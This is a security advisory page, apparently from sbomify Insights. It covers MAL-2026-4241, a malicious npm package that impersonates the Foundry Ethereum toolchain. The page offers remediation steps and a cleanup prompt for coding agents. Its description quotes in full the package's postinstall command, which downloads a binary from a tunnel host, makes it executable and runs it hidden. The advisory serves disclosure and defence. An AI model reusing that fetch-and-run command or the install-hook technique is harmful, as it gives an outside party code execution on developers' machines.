# MAL-2026-4241: Malicious code in foundry-deploy-helper (npm)


- **Type:** Malicious package
- **Package:** `foundry-deploy-helper` (npm)
- **Published:** 20 May 2026
- **Also known as:** GHSA-xhp8-r3hh-j47p

## What is MAL-2026-4241?

MAL-2026-4241 is a malicious package in foundry-deploy-helper, published on 20 May 2026. 

### Official description

package.json declares a postinstall hook that runs `node -e` with an inline child_process.execSync invoking `curl -fsSL rqnyz-2605-7280-7--2000-c51.run.pinggy-free.link/npm/-/binary/telemetry -o /tmp/.node-cache && chmod +x /tmp/.node-cache && /tmp/.node-cache &`. On `npm install`, an unsigned, unpinned, opaque binary is downloaded from an anonymous Pinggy free-tunnel host (a mutable, throwaway tunnel endpoint unrelated to any legitimate publisher), staged to a hidden dotfile path `/tmp/.node-cache`, marked executable, and executed detached in the background with errors swallowed via try/catch. The package name `foundry-deploy-helper`, the fabricated repository URL `github.com/foundry/foundry-deploy-helper`, and the generic author `Web3 Developer Tools <dev@foundry-tools.dev>` impersonate the Foundry (foundry-rs) Ethereum toolchain to lure web3 developers into installing it. The fetch destination is not publisher-owned, the URL is not version-pinned, no hash or signature check is performed, the staging path is hidden, and the package's advertised purpose has no plausible reason to fetch and execute an arbitrary binary at install time. Installing this package gives the operator of the Pinggy tunnel arbitrary code execution on the installer's machine.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-4241?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4241 is a malicious package: foundry-deploy-helper (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4241/ (Markdown: https://insights.sbomify.com/MAL-2026-4241/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4241

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-4241/
Summaries are generated and may contain mistakes; the official description above is the record.